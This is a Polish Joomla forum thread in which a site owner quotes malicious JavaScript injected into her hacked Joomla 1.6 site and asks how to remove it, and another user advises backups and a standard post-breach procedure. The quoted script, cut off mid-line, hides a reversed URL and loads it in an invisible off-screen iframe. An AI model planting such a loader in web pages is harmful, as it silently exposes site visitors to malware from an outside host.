Jak znaleźć złośliwy kod?

[grafia]

Witam,

nasza strona oparta o Joomlę 1.6 została zaatakowana (wiem, że system był nieaktualny).
Google Webmaster Tools pokazuje, że wstrzyknięto zainfekowany kod:

<script type="text/javascript">   var wksajdiuq = "tluafed?igc.axqe/moc.ko-morf.ererereb//:ptth";      function sd5135GHEDF(agaga31323l) {          var melm = document.getElementById("a35fdsfdsf62FFSSD");          if (typeof(melm) != "undefined" && melm!= null)          {}else{              var dsdSSSWrw515312FFF = document.createElement("iframe");              dsdSSSWrw515312FFF.id = "a35fdsfdsf62FFSSD";              dsdSSSWrw515312FFF.style.width = "10px";              dsdSSSWrw515312FFF.style.height = "10px";              dsdSSSWrw515312FFF.style.border = "0px";              dsdSSSWrw515312FFF.frameBorder = "0";              dsdSSSWrw515312FFF.style.position = "absolute";              dsdSSSWrw515312FFF.style.left = "-200";              dsdSSSWrw515312FFF.setAttribute("frameBorder", "0");              document.body.appendChild(dsdSSSWrw515312FFF);              dsdSSSWrw515312FFF.src = agaga31323l;              return true;          }      }  function asd61234tkhjasd454hfhf235(){      sd5135GHEDF(wksajdiuq.split("").reverse().join

Niestety w index.php nie znajduję tego kodu i nie wiem, jak mogę go weliminować?
Będę bardzo wdzięczna za jakąkolwiek pomoc.

[Gall Anonim]

@grafia
1. Wiem że jesteś zdenerwowana ale to dział Joomla 3
2. Widzę że to albo drugi atak albo wasza Joomla straciła od 17 jedną jednostkę (http://forum.joomla.pl/showthread.ph...9-z-1-7-do-2-5)
3. Jeżeli pomimo wszystko chcesz się tym zająć sama - poszukaj hasła "postępowanie po włamaniu" - powtarzane na tym forum niczym modlitwa w kościele
4. Jeżeli będziesz naprawiać to sama - niezależnie od wszystkiego najpierw kopia zapasowa ponieważ nieumiejętne próby działań naprawczych mogą doprowadzić do nieodwracalnej utraty danych
5. zagdanienie jest poważne i jako takie raczej nie do ogranięcia przez debiutanta - więc oceń realnie swoje umiejętności i albo zowstaw w dziale zleceń - tam gdzie jest, albo walcz - Powodzenia